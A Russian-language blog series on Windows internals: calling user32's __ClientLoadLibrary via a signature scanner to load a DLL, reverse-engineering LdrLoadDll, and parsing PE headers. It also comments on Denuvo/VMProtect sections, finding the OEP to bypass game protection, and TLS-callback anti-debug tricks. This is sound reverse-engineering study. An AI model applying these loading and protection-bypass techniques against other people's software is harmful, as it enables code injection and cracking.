    ClassicGetSystemMetricsForDpi pfnGetSystemMetricsForDpi;
    ClassicSystemParametersInfoForDpi pfnSystemParametersInfoForDpi;
    _FreshenThemeMetricsCB pfnGetWindowProcess;
} USERAPIHOOK, *PUSERAPIHOOK;
 
typedef struct _UXTHEMEHOOKS {
    HINSTANCE hInst;
    USERAPIHOOK guah;
} UXTHEMEHOOKS, *PUXTHEMEHOOKS;

Теперь переходим к коду и пишем свой сканер сигнатур

C++
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
#include "apfnDispatch.h"
#include 
#include 
 
#pragma comment (lib, "ntdll")
 
 
typedef struct _apfnDispatch {
    _ClientFreeLibrary ClientFreeLibrary;
    _ClientLoadLibrary ClientLoadLibrary;
} apfnDispatch;
 
typedef struct _apfnSignature {
#ifdef _WIN64
    BYTE pattren_ClientFreeLibrary[28] = {
        0x48,0x8B,0xC4,                 // mov rax,rsp
        0x48,0x89,0x58,0x08,            // mov qword ptr ds:[rax+8],rbx
        0x48,0x89,0x68,0x10,            // mov qword ptr ds:[rax+10],rbp
        0x48,0x89,0x70,0x18,            // mov qword ptr ds:[rax+18],rsi
        0x48,0x89,0x78,0x20,            // mov qword ptr ds:[rax+20],rdi
        0x41,0x56,                      // push r14
        0x48,0x83,0xEC,0x40,            // sub rsp,40
        0x48,0x8B,0x39                  // mov rdi,qword ptr ds:[rcx]
    }; PCCH mask_ClientFreeLibrary = "xxxxxxxxxxxxxxxxxxxxxxxxxxxx";
 
    BYTE pattren_ClientLoadLibrary[10] = {
        0x48,0x89,0x5C,0x24,0x10,       // mov qword ptr ss:[rsp+10],rbx
        0x48,0x89,0x7C,0x24,0x18        // mov qword ptr ss:[rsp+18],rdi
    }; PCCH mask_ClientLoadLibrary = "xxxxxxxxxx";
#else
    BYTE pattren_ClientFreeLibrary[18] = {
        0x8B,0xFF,                      // mov edi,edi
        0x55,                           // push ebp
        0x8B,0xEC,                      // mov ebp,esp
        0x83,0xEC,0x18,                 // sub esp,18
        0x53,                           // push ebx
        0x56,                           // push esi
        0x57,                           // push edi
        0x8B,0x7D,0x08,                 // mov edi,dword ptr ss:[ebp+8]
        0x33,0xDB,                      // xor ebx,ebx
        0x8B,0xF3                       // mov esi,ebx
    }; PCCH mask_ClientFreeLibrary = "xxxxxxxxxxxxxxxxxx";
 
    BYTE pattren_ClientLoadLibrary[34] = {
        0x8B,0xFF,                      // mov edi,edi
        0x55,                           // push ebp
        0x8B,0xEC,                      // mov ebp,esp
        0x81,0xEC,0x00,0x00,0x00,0x00,  // sub esp,134
        0xA1,0x00,0x00,0x00,0x00,       // mov eax,dword ptr ds:[<___security_cookie>]
        0x33,0xC5,                      // xor eax,ebp
        0x89,0x45,0xFC,                 // mov dword ptr ss:[ebp-4],eax
        0x53,                           // push ebx
        0x56,                           // push esi
        0x57,                           // push edi
        0x8B,0x7D,0x08,                 // mov edi,dword ptr ss:[ebp+8]
        0x8D,0x00,0x00,0x00,0x00,0x00,  // lea eax,dword ptr ss:[ebp-108]
        0x68                            // push 104
    }; PCCH mask_ClientLoadLibrary = "xxxxxxx????x????xxxxxxxxxxxx?????x";
#endif // _WIN64
} apfnSignature;
 
 
apfnDispatch Dispatch = { 0 };
apfnSignature Signature;
 
 
bool DataCompare(PBYTE pData, PBYTE pattern, PCCH mask)
{
    for (; *mask; mask++, pattern++, pData++)
        if (*mask == 'x' && *pData != *pattern)
            return false;
    return true;
}
 
 
ULONG_PTR FindPattern(PVOID addr, ULONG length, PBYTE pattern, PCCH mask)
{
    MEMORY_BASIC_INFORMATION mbi = { 0 };
    SIZE_T offset = 0;
    while (offset < length) {
        VirtualQuery((LPCVOID)((ULONG_PTR)addr + offset), &mbi, sizeof(MEMORY_BASIC_INFORMATION));
        if (mbi.State != MEM_FREE) {
            PBYTE buffer = new BYTE[mbi.RegionSize];
            ReadProcessMemory(GetCurrentProcess(), mbi.BaseAddress, buffer, mbi.RegionSize, nullptr);
            for (unsigned i = 0; i < mbi.RegionSize; i++)
                if (DataCompare(buffer + i, pattern, mask)) {
                    delete[] buffer;
                    return (ULONG_PTR)mbi.BaseAddress + i;
                }
            delete[] buffer;
        }
        offset += mbi.RegionSize;
    }
    return 0;
}
 
 
int main()
{
    MessageBox(nullptr, TEXT("For initialize user32.dll"), TEXT("Message"), NULL);
#ifdef _WIN64
    auto pPeb = (PPEB)__readgsqword(0x60);
#else
    auto pPeb = (PPEB)__readfsdword(0x30);
#endif // _WIN64
    auto pList = pPeb->Ldr->InMemoryOrderModuleList.Flink;
    HMODULE hMod = nullptr;
    MODULEINFO hModInfo = { 0 };
    WCHAR buffer[MAX_PATH] = { 0 }, PathTo[MAX_PATH] = { 0 };
    GetWindowsDirectoryW(buffer, MAX_PATH);
    swprintf_s(PathTo, L"%s\\System32\\USER32.dll", buffer);
    for (int i = 0; i < 100; i++) {
        auto pDataTable = (PLDR_DATA_TABLE_ENTRY)(pList - 1);
        if (wcscmp(pDataTable->FullDllName.Buffer, PathTo) == 0) {
            GetModuleHandleEx(GET_MODULE_HANDLE_EX_FLAG_FROM_ADDRESS, (PCCH)pDataTable->DllBase, &hMod);
            GetModuleInformation(GetCurrentProcess(), hMod, &hModInfo, sizeof(MODULEINFO));
            break;
        }
        else pList = pList->Flink;
    }
 
    std::cout << "user32.dll!apfnDispatch (PEB.KernelCallbackTable): 0x" << pPeb->Reserved7 << std::endl;
 
    Dispatch.ClientFreeLibrary = (_ClientFreeLibrary)FindPattern(hModInfo.lpBaseOfDll, hModInfo.SizeOfImage, Signature.pattren_ClientFreeLibrary, Signature.mask_ClientFreeLibrary);
    Dispatch.ClientLoadLibrary = (_ClientLoadLibrary)FindPattern(hModInfo.lpBaseOfDll, hModInfo.SizeOfImage, Signature.pattren_ClientLoadLibrary, Signature.mask_ClientLoadLibrary);
 
    std::cout << "apfnDispatch.ClientFreeLibrary: 0x" << Dispatch.ClientFreeLibrary << "\napfnDispatch.ClientLoadLibrary: 0x" << Dispatch.ClientLoadLibrary << std::endl;
 
    UNICODE_STRING uStr_DLL = { 0 }, uStr_Func = { 0 };
    RtlInitUnicodeString(&uStr_DLL, L"\\??\\D:\\Games\\Red Dead Redemption 2\\vulkan-1.dll");
    RtlInitUnicodeString(&uStr_Func, L"vkCreateDevice");
 
    CAPTUREBUF CaptureBuf = { 0 };
    CaptureBuf.BufferSize = sizeof(CAPTUREBUF);
    CaptureBuf.AdditionalDataSize = sizeof(CAPTUREBUF) - 2 * sizeof(SIZE_T) - 3 * sizeof(ULONG) - sizeof(PVOID);
    CaptureBuf.offCbkPtrs = 0x28;
 
    // Optional values
    CaptureBuf.FixupsCount = 1;
    CaptureBuf.pFree = &CaptureBuf;
    CaptureBuf.bFixed = FALSE;
    CaptureBuf.lpDLLPath = uStr_DLL;
    CaptureBuf.lpfnNotify = 0;
    CaptureBuf.lpInitFunctionName = uStr_Func;
    CaptureBuf.offCbk[1] = 14;
 
    LRESULT Result = Dispatch.ClientLoadLibrary(&CaptureBuf);
 
    CHAR Message[MAX_PATH] = { 0 };
    FormatMessage(FORMAT_MESSAGE_FROM_SYSTEM | FORMAT_MESSAGE_FROM_HMODULE, LoadLibrary("ntdll"), (ULONG)Result, NULL, Message, MAX_PATH, nullptr);
 
    setlocale(LC_ALL, "Russian");
    std::cout << Message << std::endl;
 
    std::cin.get();
    return 0;
}

Делаем точку останова на __ClientLoadLibrary и видим с помощью символов user32.pdb, что всё получилось как нельзя лучше (адрес найден, функция инициализирована и захвачена нами)

По мере дальнейшего углубления в дебри __ClientLoadLibrary постараюсь реализовать до конца метод перехвата SetWindowsHookEx.

Правильный прототип LdrLoadDll

_lunar_ — Mon, 22 Jul 2019 12:14:10 GMT

Почему-то везде в интернете ходит один и тот же неправильный прототип nt-функции LdrLoadDll

C++
1
2
3
4
5
6
7
8
9
NTSYSAPI
NTSTATUS
NTAPI
LdrLoadDll(
    _In_opt_ PWSTR DllPath,
    _In_opt_ PULONG DllCharacteristics,
    _In_ PUNICODE_STRING DllName,
    _Out_ PVOID *DllHandle
    );

ведать один написал (ещё со времен какой-нить висты) и все с него бездумно копируют.

Начнём разбирать.
Количество параметров функции. Хотя бы здесь не ошиблись (тут собственно и не ошибёшься, такие функции тянутся ещё с XP и редко меняются) - всего 4 параметра.
Теперь берём IDA и запихиваем в неё KernelBase.dll (именно её, а не kernel32.dll - с Windows 7 эта либа стала заглушкой, которая просто перенаправляет на KernelBase).
Смотрим на LoadLibraryA - банальный механизм через twain ссылается на LoadLibraryExA

Assembler
1
2
3
4
xor     r8d, r8d        ; dwFlags
xor     edx, edx        ; hFile
mov     rcx, rdi        ; lpLibFileName
call    LoadLibraryExA

переходим к LoadLibraryExA и видим что она вызывает LoadLibraryExW (в ядре нет ansi, только юникод)

Assembler
1
2
3
4
mov     rcx, [rsp+38h+UnicodeString.Buffer] ; lpLibFileName
mov     r8d, ebx        ; dwFlags
mov     rdx, rdi        ; hFile
call    LoadLibraryExW

аналогично и для LoadLibraryW (там ещё проще, никакого twain)

Assembler
1
2
3
xor     r8d, r8d
xor     edx, edx
jmp     LoadLibraryExW

Итак, конечную функцию перед переходом в NT мы нашли, теперь посмотрим на её прототип

Кликните здесь для просмотра всего текста

C++
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
HMODULE __stdcall LoadLibraryExW(LPCWSTR lpLibFileName, HANDLE hFile, DWORD dwFlags)
{
  DWORD v3; // ebx
  unsigned int v4; // eax
  USHORT v5; // cx
  signed int v6; // edx
  unsigned int v7; // eax
  unsigned int v8; // esi
  bool v10; // zf
  __int64 v11; // [rsp+30h] [rbp-20h]
  __int64 v12; // [rsp+38h] [rbp-18h]
  UNICODE_STRING Source; // [rsp+40h] [rbp-10h]
  int v14; // [rsp+70h] [rbp+20h]
  __int64 v15; // [rsp+88h] [rbp+38h]
 
  v3 = dwFlags;
  if ( !lpLibFileName || hFile || dwFlags & 0xFFFF0000 || (dwFlags & 0x42) == 66 )
    goto LABEL_31;
  v4 = RtlInitUnicodeStringEx(&Source, lpLibFileName);
  if ( (v4 & 0x80000000) != 0 )
  {
    BaseSetLastNTError(v4);
    return 0i64;
  }
  v5 = Source.Length;
  if ( !Source.Length )
    goto LABEL_31;
  do
  {
    if ( Source.Buffer[((unsigned __int64)v5 >> 1) - 1] != 32 )
      break;
    v10 = v5 == 2;
    v5 -= 2;
    Source.Length = v5;
  }
  while ( !v10 );
  if ( !v5 )
  {
LABEL_31:
    BaseSetLastNTError(3221225485i64);
    return 0i64;
  }
  v6 = 0;
  v15 = 0i64;
  if ( v3 & 0x62 )
  {
    JUMPOUT(LdrGetDllPath(Source.Buffer, v3 & 0x7F08, &v11, &v12), 0, sub_18009AE5E);
    v7 = BasepLoadLibraryAsDataFileInternal(&Source, (__int64)&v15);
    v8 = v7;
    if ( (signed int)(v7 + 2147483648) >= 0 && v7 != -1073741809 && v3 & 0x20 && v3 & 0x42 )
      v8 = BasepLoadLibraryAsDataFileInternal(&Source, (__int64)&v15);
    RtlReleasePath(v11);
  }
  else
  {
    v14 = 0;
    if ( v3 & 1 )
    {
      v14 = 2;
      v6 = 2;
    }
    if ( (v3 & 0x80u) != 0 )
      v14 = v6 | 0x800000;
    JUMPOUT(v3 & 4, 0, sub_18009AE65);
    JUMPOUT(_bittest((const signed int *)&v3, 0xFu), sub_18009AE70);
    v8 = LdrLoadDll(v3 & 0x7F08 | 1i64, &v14, &Source, &v15);
  }
  if ( (v8 & 0x80000000) == 0 )
    return (HMODULE)v15;
  BaseSetLastNTError(v8);
  return 0i64;
}

Теперь разберёмся что и к чему здесь.
Сначала происходит инициализация юникод-строки RtlInitUnicodeStringEx.
Далее рассмотрим вот этот участок кода

C++
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
else
{
    v14 = 0;
    if (v3 & 1)
    {
        v14 = 2;
        v6 = 2;
    }
    if ((v3 & 0x80u) != 0)
        v14 = v6 | 0x800000;
    JUMPOUT(v3 & 4, 0, sub_18009AE65);
    JUMPOUT(_bittest((const signed int *)&v3, 0xFu), sub_18009AE70);
    v8 = LdrLoadDll(v3 & 0x7F08 | 1i64, &v14, &Source, &v15);
}
if ((v8 & 0x80000000) == 0)
    return (HMODULE)v15;
BaseSetLastNTError(v8);
return 0i64;

Итак:
v8 это просто NTSTATUS
v3 (если смотреть на прототип LoadLibraryExW) это dwFlags (v3 = dwFlags)
v14 это целочисленное значение, которое зависит от передаваемого в функцию флага
Source - всё просто, это UNICODE_STRING
v15 это HMODULE, указатель на загружаемую библиотеку.

Флаг, который обрабатывается в LdrLoadDll, является флагом критерия поиска библиотеки (про каждый из них можно прочитать на MSDN)

C++
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
#define DONT_RESOLVE_DLL_REFERENCES         0x00000001
#define LOAD_LIBRARY_AS_DATAFILE            0x00000002
// reserved for internal LOAD_PACKAGED_LIBRARY: 0x00000004
#define LOAD_WITH_ALTERED_SEARCH_PATH       0x00000008
#define LOAD_IGNORE_CODE_AUTHZ_LEVEL        0x00000010
#define LOAD_LIBRARY_AS_IMAGE_RESOURCE      0x00000020
#define LOAD_LIBRARY_AS_DATAFILE_EXCLUSIVE  0x00000040
#define LOAD_LIBRARY_REQUIRE_SIGNED_TARGET  0x00000080
#define LOAD_LIBRARY_SEARCH_DLL_LOAD_DIR    0x00000100
#define LOAD_LIBRARY_SEARCH_APPLICATION_DIR 0x00000200
#define LOAD_LIBRARY_SEARCH_USER_DIRS       0x00000400
#define LOAD_LIBRARY_SEARCH_SYSTEM32        0x00000800
#define LOAD_LIBRARY_SEARCH_DEFAULT_DIRS    0x00001000
 
#if (NTDDI_VERSION >= NTDDI_WIN10_RS1)
 
#define LOAD_LIBRARY_SAFE_CURRENT_DIRS      0x00002000
 
#define LOAD_LIBRARY_SEARCH_SYSTEM32_NO_FORWARDER   0x00004000
 
#else
 
//
// For anything building for downlevel, set the flag to be the same as LOAD_LIBRARY_SEARCH_SYSTEM32
// such that they're treated the same when running on older version of OS.
//
 
#if (NTDDI_VERSION >= NTDDI_WIN10_RS2)
 
#define LOAD_LIBRARY_OS_INTEGRITY_CONTINUITY   0x00008000
 
#endif

Именно поэтому в неправильном прототипе указан тип первого параметра - PWSTR DllPath. Кто-то не до конца понял, что это не путь к Dll, а флаг поиска, который система реализует сама.

И вот теперь, учитывая разбор через IDA, мы можем написать правильный прототип:

C++
1
2
3
4
5
6
7
typedef NTSTATUS(__fastcall* _LdrLoadDll)(
    _In_opt_ UINT32 Flags,
    _In_opt_ PUINT32 Reserved,
    _In_ PUNICODE_STRING ModuleFileName,
    _Out_ HMODULE* ModuleHandle
    );
_LdrLoadDll LdrLoadDll;

Причём реализовывать его нужно следующим образом

Кликните здесь для просмотра всего текста

C++
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
std::cout <<
    "0 - NULL (without flag)\n"
    "1 - DONT_RESOLVE_DLL_REFERENCES\n"
    "2 - LOAD_LIBRARY_AS_DATAFILE\n"
    "3 - LOAD_PACKAGED_LIBRARY (for internal)\n"
    "4 - LOAD_WITH_ALTERED_SEARCH_PATH\n"
    "5 - LOAD_IGNORE_CODE_AUTHZ_LEVEL\n"
    "6 - LOAD_LIBRARY_AS_IMAGE_RESOURCE\n"
    "7 - LOAD_LIBRARY_AS_DATAFILE_EXCLUSIVE\n"
    "8 - LOAD_LIBRARY_REQUIRE_SIGNED_TARGET\n"
    "9 - LOAD_LIBRARY_SEARCH_DLL_LOAD_DIR\n"
    "10 - LOAD_LIBRARY_SEARCH_APPLICATION_DIR\n"
    "11 - LOAD_LIBRARY_SEARCH_USER_DIRS\n"
    "12 - LOAD_LIBRARY_SEARCH_SYSTEM32 (for anything building for downlevel)\n"
    "13 - LOAD_LIBRARY_SEARCH_DEFAULT_DIRS\n"
    "14 - LOAD_LIBRARY_SAFE_CURRENT_DIRS (WIN10_RS1)\n"
    "15 - LOAD_LIBRARY_SEARCH_SYSTEM32_NO_FORWARDER (WIN10_RS1)\n"
    "16 - LOAD_LIBRARY_OS_INTEGRITY_CONTINUITY (WIN10_RS2)\n"
    "Choose: ";
 
UINT32 temp = 0, flag = 0, temp1 = 0;
INT32 temp2 = 0;
HMODULE hModule = nullptr;
PVOID fnAddress = nullptr;
UNICODE_STRING LibraryName = { 0 };
ANSI_STRING FunctionName = { 0 };
 
std::cin >> temp;
std::cin.get();
 
switch (temp) {
case 0:
    flag = NULL;
    break;
case 1:
    flag = DONT_RESOLVE_DLL_REFERENCES;
    break;
case 2:
    flag = LOAD_LIBRARY_AS_DATAFILE;
    break;
case 3:
    flag = 0x00000004;
    break;
case 4:
    flag = LOAD_WITH_ALTERED_SEARCH_PATH;
    break;
case 5:
    flag = LOAD_IGNORE_CODE_AUTHZ_LEVEL;
    break;
case 6:
    flag = LOAD_LIBRARY_AS_IMAGE_RESOURCE;
    break;
case 7:
    flag = LOAD_LIBRARY_AS_DATAFILE_EXCLUSIVE;
    break;
case 8:
    flag = LOAD_LIBRARY_REQUIRE_SIGNED_TARGET;
    break;
case 9:
    flag = LOAD_LIBRARY_SEARCH_DLL_LOAD_DIR;
    break;
case 10:
    flag = LOAD_LIBRARY_SEARCH_APPLICATION_DIR;
    break;
case 11:
    flag = LOAD_LIBRARY_SEARCH_USER_DIRS;
    break;
case 12:
    flag = LOAD_LIBRARY_SEARCH_SYSTEM32;
    break;
case 13:
    flag = LOAD_LIBRARY_SEARCH_DEFAULT_DIRS;
    break;
case 14:
    flag = LOAD_LIBRARY_SAFE_CURRENT_DIRS;
    break;
case 15:
    flag = LOAD_LIBRARY_SEARCH_SYSTEM32_NO_FORWARDER;
    break;
case 16:
flag = LOAD_LIBRARY_OS_INTEGRITY_CONTINUITY;
    break;
default:
    break;
}
 
if (flag & 1) {
    temp1 = 2;
    temp2 = 2;
}
 
if ((flag & 0x80u) != 0)
    temp1 = temp2 | 0x800000;
    
RtlInitUnicodeStringEx(&LibraryName, L"ntoskrnl.exe");
LdrLoadDll(flag & 0x7F08 | 1, &temp1, &LibraryName, &hModule);
std::cout << "ntoskrnl.exe = 0x" << hModule << std::endl;
    
RtlInitAnsiStringEx(&FunctionName, "IoCreateFile");
LdrGetProcedureAddressForCaller(hModule, &FunctionName, NULL, &fnAddress, FALSE, nullptr);
std::cout << "IoCreateFile = 0x" << fnAddress << std::endl;
 
std::cin.get();

Чтение данных PE заголовка

_lunar_ — Wed, 27 Mar 2019 10:13:43 GMT

Несмотря на то, что исполняемые файлы имеют чёткую структуру и документированное описание, найти полезную информацию в интернете о том как читать PE заголовок достаточно сложно (если вообще возможно).

Переписывать документацию наверное не имеет смысла. Вместо этого я покажу примеры кода как читать конкретные секции (заодно, поверхностно, рассмотрим защиту одной игры от взлома).
Код я буду писать как говорится "чистый", без всяких дефайнов, обёрток и прочей ерунды, которая только путает и забивает понимание того, что происходит.

Сначала инициализируем DOS и NT заголовки (и сразу заголовок секций, т.к. в NT заголовке этой структуры нет)

C++
1
2
3
IMAGE_DOS_HEADER * __ptr64 pDos = (IMAGE_DOS_HEADER * __ptr64)ImageBaseAddr;
IMAGE_NT_HEADERS64 * __ptr64 pNt = (IMAGE_NT_HEADERS64 * __ptr64)((unsigned __int64)ImageBaseAddr + pDos->e_lfanew);
IMAGE_SECTION_HEADER * __ptr64 pSec = (IMAGE_SECTION_HEADER * __ptr64)((unsigned __int64)ImageBaseAddr + pDos->e_lfanew + sizeof(IMAGE_NT_HEADERS64));

ImageBaseAddr получается стандартно - поочерёдным вызовом трех функций:

C++
1
2
3
HANDLE hFile = CreateFile("PathToFile", ...);
HANDLE hFileMapping = CreateFileMapping(hFile, ...);
unsigned __int64* __ptr64 ImageBaseAddr = MapViewOfFile(hFileMapping, ...);

IMAGE_SECTION_HEADER
Начнём с IMAGE_SECTION_HEADER. Заголовок содержит данные, которые размещаются в адресном пространстве процесса во время загрузки исполняемого файла в память.
Здесь располагаются секции кода, ресурсов, импорта, экспорта, и прочее.
Именно эти секции пытаются защитить от реверса, обфусцируя их виртуальными машинами, добавляя мусор и мутации кода и многое другое.
Чтобы осуществить взлом необходимо найти в секции кода так называемую OEP (original entry point), или базовую точку входа. OEP часто путают с EP (entry point). EP прописывается в PE заголовке и не является базовой точкой входа. Найдя OEP можно спокойно отсоединять отладчиком защиту от исполняемого файла.

Информацию о секциях можно добыть следующим кодом:

C++
1
2
3
4
5
6
wprintf(L"****************************************************************\n                      IMAGE_SECTION_HEADER\n****************************************************************");
 
wprintf(L"   Name  ---     VA     ---  pRawData  ---    VS    --- sRawData\n");
for (unsigned __int16 i = 0; i < pNt->FileHeader.NumberOfSections; i++) {
    printf("%-8s --- 0x%08X --- 0x%08X --- %08X --- %08X\n", pSec[i].Name, pSec[i].VirtualAddress, pSec[i].PointerToRawData, pSec[i].Misc.VirtualSize, pSec[i].SizeOfRawData);
}

Пример вывода данных в консоль

После исполнения кода получаем информацию об именах, виртуальных адресах, смещениях и прочее.
Опытный реверсер сразу обратит внимание на такие секции как .xcode, .xdata, .vmp0 - это и есть обфусцированные виртуальной машиной секции.
Приставка .x говорит о том, что секция зашифрована средствами защиты Denuvo, а .vmp - это виртуальная машина VMProtect.
Их расшифровка отдельная тема, и достаточно сложная, поэтому оставим её и перейдем к секции экспорта.

IMAGE_EXPORT_DIRECTORY
Исполняемые файлы (будь то exe или dll) могут иметь (или не иметь) секции экспорта и импорта.
Экспорт для dll файла означает, что созданные в его коде функции могут использоваться путём их импорта в exe файле.

Таблицу экспорта получаем следующим кодом:

C++
1
2
3
4
5
6
7
8
9
10
11
12
wprintf(L"****************************************************************\n                    IMAGE_EXPORT_DIRECTORY\n****************************************************************");
 
IMAGE_EXPORT_DIRECTORY* __ptr64 pExpDir = (IMAGE_EXPORT_DIRECTORY * __ptr64)((unsigned __int64)ImageBaseAddr + pNt->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT].VirtualAddress);
if (pExpDir->NumberOfNames != 0) {
    unsigned __int32* __ptr64 Name = (unsigned __int32* __ptr64)((unsigned __int64)ImageBaseAddr + pExpDir->AddressOfNames);
    unsigned __int32* __ptr64 Func = (unsigned __int32* __ptr64)((unsigned __int64)ImageBaseAddr + pExpDir->AddressOfFunctions);
    for (unsigned __int32 i = 0; i < pExpDir->NumberOfNames; i++) {
        printf("%-51s --- ", (unsigned __int64)ImageBaseAddr + Name[i]);
        wprintf(L"0x%08X\n", Func[i]);
    }
}
else wprintf(L"\nExport directory not found!\n\n");

Пример вывода данных в консоль

IMAGE_IMPORT_DESCRIPTOR
Аналогично получаем информацию о таблице импорта:

C++
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
wprintf(L"****************************************************************\n                   IMAGE_IMPORT_DESCRIPTOR\n****************************************************************");
 
IMAGE_IMPORT_DESCRIPTOR* __ptr64 pImpDir = (IMAGE_IMPORT_DESCRIPTOR * __ptr64)((unsigned __int64)ImageBaseAddr + pNt->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_IMPORT].VirtualAddress);
if (pNt->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_IMPORT].Size != 0) {
    while (pImpDir->Name) {
        IMAGE_THUNK_DATA64* __ptr64 OriginalFirstThunk = (IMAGE_THUNK_DATA64 * __ptr64)((unsigned __int64)ImageBaseAddr + pImpDir->OriginalFirstThunk);
        IMAGE_THUNK_DATA64 * __ptr64 FirstThunk = (IMAGE_THUNK_DATA64 * __ptr64)((unsigned __int64)ImageBaseAddr + pImpDir->FirstThunk);
        IMAGE_THUNK_DATA64 * __ptr64 ThunkData = OriginalFirstThunk;
        if (!ThunkData) ThunkData = FirstThunk;
        printf("\n%s (OFT: 0x%08X, FT: 0x%08X)\n", (unsigned __int64)ImageBaseAddr + pImpDir->Name, pImpDir->OriginalFirstThunk, pImpDir->FirstThunk);
        while (ThunkData->u1.AddressOfData) {
            if (!(ThunkData->u1.Ordinal & IMAGE_ORDINAL_FLAG64)) {
                IMAGE_IMPORT_BY_NAME* __ptr64 ImportFunctionName = (IMAGE_IMPORT_BY_NAME * __ptr64)((unsigned __int64)ImageBaseAddr + ThunkData->u1.AddressOfData);
                printf(" %-50s --- ", ImportFunctionName->Name);
                wprintf(L"0x%016llX\n", ThunkData->u1.AddressOfData);
            }
            ThunkData++;
        }
        pImpDir++;
    }
}
else wprintf(L"\nImport directory not found!\n\n");

Пример вывода данных в консоль

Здесь стоит сделать небольшое примечание - чем отличаются OriginalFirstThunk и FirstThunk.
Если работать с файлом как с набором байт на диске, а не как с загруженным образом в память, то эти поля будут идентичны.
В случае с загруженным образом эти поля будут отличаться: OriginalFirstThunk так и будет ссылаться на массив имён (import name table - INT), но FirstThunk будет ссылаться на таблицу прокси вызовов (import address table - IAT), где адрес нужного Thunk будет прокси вызовом call dword ptr[&Thunk] (FF 15 XX XX XX XX).

IMAGE_TLS_DIRECTORY64
Перейдем к наверно самой интересной с точки зрения реверса таблице - TlsCallback.
Немного расскажу о значимости этой таблицы в части защиты кода от взлома.
TLSCallBack вызывается из системы при создании потоков. Главная фишка этой таблицы – вызов потока до точки входа в приложение (секция CRT).
Если создать поток до точки входа и вызывать из него функцию антидебага (к примеру IsDebuggerPresent), то при попытке реверса такого файла (структура DEBUG_EVENT, WaitForDebugEvent/ContinueDebugEvent, etc.) мы попадем на IMAGE_TLS_CALLBACK с последующим TerminateProcess.

Небольшой пример:

C++
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
#include 
 
#pragma comment (linker, "/INCLUDE:_tls_used")
#pragma section (".CRT$XLY", long, read)
 
void __stdcall TLSCallBack(void *, unsigned long, void *) {
    if (IsDebuggerPresent()) {
    MessageBox(nullptr, "Debugger is detected", "Test", MB_ERROR);
    TerminateProcess(hProcess, 0);
    }
}
__declspec(allocate(".CRT$XLY"))PIMAGE_TLS_CALLBACK pTLSCallBack = TLSCallBack;
 
int __stdcall WinMain(HINSTANCE, HINSTANCE, char *, int) {
    MessageBox(nullptr, "All ok", "Test", MB_OK);
    return 0;
}

При обычном исполнении такой программы будет выведено сообщение что всё хорошо.
Но при попытке отладить программу в отладчике, определенный в CRT поток IMAGE_TLS_CALLBACK, сработает быстрее чем точка входа WinMain и приложение завершится так и не добравшись до OEP.

Определить имеется ли TlsCallback в коде приложения можно следующим образом:

C++
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
typedef void(__fastcall* __ptr64 PIMAGE_TLS_CALLBACK)(void* __ptr64 DllHandle, void* __ptr64 Reason, void* __ptr64 Reserved);
 
wprintf(L"****************************************************************\n                     IMAGE_TLS_DIRECTORY64\n****************************************************************");
 
IMAGE_TLS_DIRECTORY64* __ptr64 pTlsDir = (IMAGE_TLS_DIRECTORY64 * __ptr64)((unsigned __int64)ImageBaseAddr + pNt->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_TLS].VirtualAddress);
PIMAGE_TLS_CALLBACK* __ptr64 TlsCallback = (PIMAGE_TLS_CALLBACK * __ptr64)pTlsDir->AddressOfCallBacks;
if (*(__int64* __ptr64)TlsCallback != 0) {
    wprintf(L"\n");
    __int32 i = 1;
    while (*TlsCallback) {
        wprintf(L"TlsCallback_%d: 0x%016llX\n", i, *(__int64* __ptr64)TlsCallback);
        TlsCallback++;
        i++;
    }
}
else wprintf(L"\nTLS directory not found!\n\n");

Пример вывода данных в консоль

В данной игре навесили аж 2 потока IMAGE_TLS_CALLBACK, которых при реверсе обойти будет не так то просто.

Но и это не предел возможностей данной таблицы. Анализируя защиту другой игры, я обнаружил так называемый вложенный TlsCallback

Assembler
1
mov rax, gs:[0x58] inputhost!TlsCallback_0/1

Отлаживая поток IMAGE_TLS_CALLBACK я понял, что код вызывает ещё 2 TlsCallback из inputhost.dll и причём так хитро, что самой библиотеки inputhost.dll изначально не было ни в таблице импорта, ни в таблице отложенного импорта.
TlsCallback из inputhost.dll работает следующим образом:
все необработанные исключения уходят в kernel32!UnhandledExceptionFilter
но в импорте игры в экспорте kernel32.dll не было UnhandledExceptionFilter
если SEH отсутствует, указатель на регистр с адресом-смещением rip->UnhandledExceptionFilter(EXCEPTION_POIN TERS) устанавливается через SetUnhandledExceptionFilter(0)

C++
1
2
3
4
5
6
7
RaiseSecurity(struct _EXCEPTION_POINTERS* __ptr64 ExceptionInfo) {
    SetUnhandledExceptionFilter(0);
    UnhandledExceptionFilter(ExceptionInfo);
    if (!IsDebuggerPresent())
        _crt_debugger_hook(1);
    return TerminateProcess(hProcess, 0xC0000409);
}

